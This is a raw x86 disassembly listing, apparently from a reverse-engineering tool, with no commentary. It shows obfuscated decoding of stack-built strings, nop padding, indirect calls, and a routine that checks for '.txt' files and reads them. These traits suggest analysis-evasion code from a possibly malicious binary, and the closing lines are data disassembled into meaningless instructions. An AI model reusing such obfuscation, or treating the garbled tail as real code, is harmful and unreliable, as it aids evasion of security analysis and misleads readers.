mov dword [eax], 0x317d3f1b
mov dword [eax + 4], 0x35423340
mov dword [eax + 8], 0x49553770
mov dword [eax + 0xc], 0x4d294b3c
mov dword [eax + 0x10], 0x414e4f6b
mov word [eax + 0x14], 0
xor edx, edx
xor esi, esi
mov dword [ebp - 0x34], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x18], edx
movzx ebx, byte [eax]
mov dword [ebp - 0x24], ebx
mov edx, dword [ebp - 0x18]
and edx, 0x1f372f96
mov ecx, esi
xor ecx, 0x70646834
sub ecx, edx
lea edi, [ecx + 1]
and edi, ebx
mov edx, edi
and edx, 0xfffffffd
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
xor ebx, 2
imul ebx, edx
mov edx, dword [ebp - 0x18]
add edi, ebx
not edi
add ecx, edi
inc ecx
add cl, byte [ebp - 0x24]
add cl, 0xf8
mov byte [eax], cl
inc eax
dec esi
add edx, 0xfffffffe
cmp esi, 0xffffffea
jne 0x42e0d0
mov edi, dword [ebp - 0x44]
push edi
push 0
push 0
push 9
push dword [ebp - 0x34]
push 0
call dword [ebp - 0x30]
mov ecx, dword [edi]
lea eax, [ecx + ecx]
mov dword [ebp - 0x18], ecx
test ecx, ecx
jns 0x42e146
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
mov ecx, dword [0x452df0]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], 0x63236145
mov dword [ecx + 4], 0x67166514
mov dword [ecx + 8], 0x7b1b793c
mov dword [ecx + 0xc], 0x7f1f7d08
mov dword [ecx + 0x10], 0x73727155
mov dword [ecx + 0x14], 0
xor edx, edx
mov esi, dword [ebp - 0x3c]
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 0xe8
mov ecx, dword [ebp - 0x1c]
xor bl, byte [ecx + edx]
add bl, 0x78
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + edx], bl
mov ebx, dword [ebp - 0x1c]
inc edx
cmp edx, 0x18
jne 0x42e190
push edi
push dword [ebp - 0x18]
push eax
push 9
push ebx
push 0
call dword [ebp - 0x24]
mov dword [esi], 0xd9a5db80
mov dword [esi + 4], 0xddbbdfad
mov dword [esi + 8], 0xd1a4d3ad
mov dword [esi + 0xc], 0xd5d6d7b4
mov eax, esi
add eax, 0x10
mov dword [esi + 0x10], 0
mov ecx, 0x6d3857cf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + ecx - 0x6d3857cf]
xor edx, ecx
lea esi, [edx + 0x1e648f4]
mov ebx, 0x2219b70b
sub ebx, edx
mov edi, ebx
and ebx, 0xa0a04392
and esi, 0x2103c6d
or esi, ebx
and edx, 1
not edi
xor esi, 0xe9aec393
and edi, 1
or edi, esi
mov esi, edi
and esi, edx
xor edi, edx
lea edx, [edi + esi*2]
mov esi, dword [ebp - 0x3c]
mov byte [esi + ecx - 0x6d3857cf], dl
inc ecx
cmp ecx, 0x6d3857e3
jne 0x42e1f0
mov ecx, 4
mov edx, dword [ebp - 0x28]
mov edi, edx
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
add edx, 0x10
mov edi, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ebx, dword [ebp - 0x14]
mov dword [ebx], 0xe905eb20
mov dword [ebx + 4], 0xed0bef1d
mov dword [ebx + 8], 0xf104f31d
mov dword [ebx + 0xc], 0xf533f714
mov dword [ebx + 0x10], 0xf908fb13
mov dword [ebx + 0x14], 0xfd08ff1f
mov dword [ebx + 0x18], 0x81828303
mov eax, ebx
add eax, 0x1c
mov byte [ebx + 0x1c], 0
mov ecx, 0xdb9527
mov edx, 0x73246ad8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x53004a9c
mov edi, ecx
and edi, 0xd89563
or edi, esi
movzx esi, byte [ebx + ecx - 0xdb9527]
xor edi, esi
mov esi, edi
and esi, 1
xor edi, 0x9d
lea ebx, [edi + esi*2]
add bl, 0x3c
mov esi, dword [ebp - 0x14]
mov byte [esi + ecx - 0xdb9527], bl
mov ebx, dword [ebp - 0x14]
inc ecx
dec edx
cmp ecx, 0xdb9544
jne 0x42e2b0
mov edx, dword [ebp - 0x20]
mov edi, edx
mov ecx, 7
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
add edx, 0x1c
mov edi, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov esi, dword [ebp - 0x10]
mov dword [esi], 0x71a50f48
mov dword [esi + 4], 0x75d773e5
mov dword [esi + 8], 0x79e477e5
mov dword [esi + 0xc], 0x7dca7bdc
mov dword [esi + 0x10], 0x613c7fc8
mov eax, esi
add eax, 0x14
mov dword [ebp - 0x1c], eax
mov dword [esi + 0x14], 0x6360
mov ecx, 0xeba83b3d
mov edx, 0xaea0ecf4
nop
nop
movzx ebx, byte [esi + ecx + 0x1457c4c3]
mov esi, ecx
and esi, ebx
add esi, esi
mov edi, esi
sub edi, ebx
add edi, edx
or edi, 1
add edi, ebx
sub ebx, esi
sub edi, esi
lea esi, [ecx + edi]
add esi, 0x65b6d7cf
mov edi, esi
and edi, 0xfd
mov eax, esi
and eax, 2
or esi, 2
imul esi, eax
xor eax, 2
imul eax, edi
add ebx, ecx
xor ebx, 1
add ebx, esi
mov esi, dword [ebp - 0x10]
add ebx, eax
add bl, 0xce
mov byte [esi + ecx + 0x1457c4c3], bl
inc ecx
dec edx
cmp ecx, 0xeba83b55
jne 0x42e350
mov ecx, 5
mov eax, dword [ebp - 0x38]
mov edi, eax
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
add eax, 0x14
mov edi, eax
mov ecx, 1
mov eax, dword [ebp - 0x1c]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
jmp case.0x42cf62.63
int3
xor eax, eax
jmp dword [0x44ee94]
push dword [esp + 0x6c]
mov esi, eax
call fcn.0040c800
mov eax, esi
add esp, 4
add esp, 0x84
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0x6c]
call fcn.004460a0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x44ed84]
mov esi, dword [esp + 0x74]
lea eax, [esi + 1]
push eax
call fcn.0040c7f0
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x70]
call fcn.00446180
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x44ed8c]
jmp dword [0x44ee8c]
push dword [esp + 0x68]
call fcn.0040c800
add esp, 4
mov ebp, dword [esp + 0x64]
mov dword [esp + 0xc], 0x4c4d4a4b
mov word [esp + 0x10], 0
mov ecx, 0x72
mov edx, 0x8d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x66]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0xc5
sub al, bl
mov byte [esp + ecx - 0x66], al
inc ecx
dec edx
cmp ecx, 0x78
jne 0x42e680
mov ecx, dword [0x452df4]
test ecx, ecx
mov eax, dword [esp + 4]
je 0x42e6d8
mov edx, dword [esp + 0xc]
xor esi, esi
mov edi, dword [0x452df8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42e6d0
inc esi
cmp ecx, esi
jne 0x42e6c0
jmp 0x42e6d8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42e6fc
and al, 1
jmp dword [0x44ee94]
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x68]
mov byte [ecx + eax], 0
mov dword [esp + 4], 0
mov eax, ecx
jmp dword [0x44ed98]
push ebp
push 1
push dword [0x452dfc]
push ecx
call fcn.00442cc0
mov eax, dword [esp + 0x14]
add esp, 0x10
and al, 1
jmp dword [0x44ee94]
xor ebp, ebp
jmp dword [0x44ed9c]
xor eax, eax
test ebp, ebp
sete al
jmp dword [eax*4 + 0x44eda4]
movzx eax, byte [ebp + 0xa]
add ebp, 0xa
xor edx, edx
test al, al
je 0x42e761
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x42e75f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42e750
jmp 0x42e761
mov edx, ecx
mov edi, edx
not edi
and edi, ebp
mov ebx, ebp
not ebx
and ebx, edx
mov ecx, ebx
sub ecx, edi
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x44edac]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x44edb4]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x44edbc]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x44edc4]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44edcc]
mov dword [esp + 0x58], edx
mov esi, ecx
inc esi
mov dword [esp], ecx
lea eax, [ecx + ecx + 2]
jns 0x42e7d5
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
push ebp
push esi
push eax
mov esi, eax
call fcn.0040eee0
add esp, 0xc
lea eax, [esp + 0x60]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x64], esi
push esi
call fcn.00445d50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ede4]
mov esi, dword [esp + 0x58]
jmp dword [0x44ee64]
jmp dword [0x44ede0]
mov eax, ebp
jmp dword [0x44ed98]
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x68]
call fcn.004460a0
add esp, 0xc
test eax, eax
setns al
mov esi, dword [esp + 0x70]
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44edec]
push esi
call fcn.0040c7f0
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x6c]
mov esi, eax
call fcn.00446180
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ee04]
mov dword [esp + 0x78], esi
xor edx, edx
mov ecx, dword [esp + 0x54]
jmp 0x42e8a8
add ecx, 2
test si, si
je case.0x42e779.26
mov eax, edx
movzx esi, word [ecx]
mov edx, ecx
cmp si, 0x5c
je 0x42e8a0
mov edx, eax
jmp 0x42e8a0
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ee1c]
mov dword [esp + 8], 0
xor eax, eax
mov esi, dword [esp]
jmp 0x42e903
mov edx, eax
not edx
mov ecx, dword [esp + 0x54]
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
mov esi, dword [esp]
mov edx, esi
not edx
mov dword [esp + 8], eax
and edx, eax
mov eax, 0xfffffffe
sub eax, ecx
and eax, esi
sub eax, edx
add eax, 0x1b
push eax
call fcn.0040c7f0
add esp, 4
mov dword [esp + 0x50], eax
sub esi, dword [esp + 8]
mov dword [esp], esi
mov dword [esp + 0xc], 0x686a681b
mov dword [esp + 0x10], 0x6f796b6e
mov dword [esp + 0x14], 0x6e083368
mov dword [esp + 0x18], 0x24636c6c
mov dword [esp + 0x1c], 0x121e1a06
mov dword [esp + 0x20], 0x500a0818
mov word [esp + 0x24], 0x5251
mov byte [esp + 0x26], 0xa2
mov word [esp + 0x27], 0
mov eax, 0x73520f2f
mov esi, 0xd0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x5c], esi
movzx edx, byte [esp + eax - 0x73520f23]
mov dword [esp + 0x7c], edx
lea ecx, [edx + edx]
not ecx
add ecx, edx
mov esi, dword [esp + 0x5c]
and esi, 0x9e
mov edx, eax
and edx, 0x61
or edx, esi
xor edx, 0x61
or edx, dword [esp + 0x5c]
mov esi, dword [esp + 0x7c]
and edx, esi
not esi
and esi, eax
and esi, ecx
or edx, esi
mov esi, dword [esp + 0x5c]
mov ecx, 0x1e
sub ecx, edx
add edx, 0x61
and ecx, 0x4d
and edx, 0xb2
sub edx, ecx
inc dl
mov byte [esp + eax - 0x73520f23], dl
inc eax
dec esi
cmp eax, 0x73520f4c
jne 0x42e970
add ebp, dword [esp + 8]
movzx ecx, byte [esp + 0xc]
mov eax, dword [esp + 0x50]
test cl, cl
je 0x42ea0b
lea edx, [esp + 0xd]
mov eax, dword [esp + 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42ea00
mov byte [eax], 0
mov esi, dword [esp]
test esi, esi
je 0x42ea39
and esi, 3
je 0x42ea3d
xor ecx, ecx
movzx edx, byte [ebp]
cmp dl, 1
sbb ebp, 0xffffffff
mov byte [eax + ecx], dl
inc ecx
cmp esi, ecx
jne 0x42ea1c
add eax, ecx
mov esi, dword [esp]
sub esi, ecx
mov ecx, eax
jmp 0x42ea40
mov ecx, eax
jmp 0x42ea8a
mov esi, dword [esp]
mov edx, dword [esp + 8]
sub edx, ebx
add edx, edi
cmp edx, 0xfffffffc
ja 0x42ea8a
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 2], cl
movzx edx, byte [ebp]
cmp dl, 1
sbb ebp, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov eax, ecx
add esi, 0xfffffffc
jne 0x42ea4d
mov byte [ecx], 0
mov ecx, dword [esp + 0x98]
push dword [esp + 0x70]
mov esi, dword [esp + 0x7c]
push esi
mov edi, dword [esp + 0x58]
push edi
call fcn.0040d630
mov ecx, dword [esp + 4]
and cl, 1
or cl, al
mov dword [esp + 4], ecx
jmp dword [0x44ee24]
push edi
call fcn.0040c800
add esp, 4
mov eax, dword [case.0x42cf62.170]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44ee3c]
jmp dword [0x44ee44]
push dword [esp + 0x54]
call fcn.0040c800
add esp, 4
mov eax, dword [case.0x42cf62.182]
nop
jmp eax
mov ebp, dword [esp + 0x60]
mov dword [esp + 0xc], 0x4c4d4a4b
mov word [esp + 0x10], 0
mov ecx, 0x72
mov edx, 0x8d
nop
movzx esi, byte [esp + ecx - 0x66]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0xc5
sub al, bl
mov byte [esp + ecx - 0x66], al
inc ecx
dec edx
cmp ecx, 0x78
jne 0x42eb10
mov ecx, dword [0x452df4]
test ecx, ecx
je 0x42eb68
mov edx, dword [esp + 0xc]
xor esi, esi
mov edi, dword [0x452df8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42eb60
inc esi
cmp ecx, esi
jne 0x42eb50
jmp 0x42eb68
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42eb88
mov esi, dword [esp + 0x58]
jmp dword [0x44ee64]
mov ebp, esi
jmp dword [0x44ee84]
push ebp
push 1
push dword [0x452dfc]
push ecx
call fcn.00442cc0
add esp, 0x10
mov esi, dword [esp + 0x58]
jmp dword [0x44ee64]
jmp dword [0x44ee60]
push esi
call fcn.0040c800
add esp, 4
push esi
call fcn.0040c800
add esp, 4
jmp dword [0x44ee50]
mov dword [esp + 0xc], 0x6e726c6a
mov dword [esp + 0x10], 0x62756076
mov word [esp + 0x14], 0x2d4b
mov byte [esp + 0x16], 0xe
mov word [esp + 0x17], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x81
xor dl, byte [esp + ecx + 0xc]
add dl, 0x7b
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0xd
jne 0x42ec00
movzx ebx, byte [esp + 0xc]
mov ebp, eax
test bl, bl
je 0x42ec60
lea ecx, [esp + 0xc]
mov edx, eax
mov ebp, eax
jmp 0x42ec37
movzx ebx, byte [ecx]
test bl, bl
je 0x42ec60
mov bh, byte [edx]
test bh, bh
je 0x42e720
inc edx
inc ecx
lea esi, [ebp + 1]
cmp bh, bl
je 0x42ec4e
mov ebp, esi
mov edx, esi
je 0x42ec30
lea ecx, [esp + 0xc]
jmp 0x42ec30
jmp dword [0x44ed9c]
mov dword [esp + 0xc], 0x6e726c6a
mov dword [esp + 0x10], 0x62756076
mov word [esp + 0x14], 0x2d4b
mov byte [esp + 0x16], 0xe
mov word [esp + 0x17], 0
xor ecx, ecx
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x81
xor dl, byte [esp + ecx + 0xc]
add dl, 0x7b
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0xd
jne 0x42ec90
jmp case.0x42cf62.130
int3
add al, al
mov ecx, 0xbac30042
inc edx
add byte [0x3e0042bc], dh
mov esp, 0xbc550042
inc edx
add byte [edx - 0x44], ah
inc edx
add ah, bl
mov esp, 0xbcee0042
inc edx
add byte [esi - 0x61ffbd43], cl
mov ebp, 0xc0820042
rol byte [edx], 0xa9
rol byte [edx], 0xbc
rol byte [edx], 0xa9
rol byte [edx], 0xbc
rol dword [edx], 0xd8
rol dword [edx], 0x64
rol dword [edx], 1
jmp 0x44eabb
retf
iretd
out 0x42, eax
add byte [eax], ah
call 0xe7d4edf8
inc edx
add byte [eax], ah
call 0xe7e4ee00
inc edx
add byte [eax], ah
call 0xe7f4ee08
inc edx
add byte [eax], ah
call 0xe804ee10
inc edx
add byte [eax], ah
call 0xe864ee18
inc edx
add byte [eax], ah
call 0xe864ee20
inc edx
add byte [esi], ah
call 0xe856ee28
inc edx
add byte [esi], ch
call 0xeb36ee30
inc edx
add byte [edi - 0x18], bl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x3cffbd14], ch
ljmp 0x42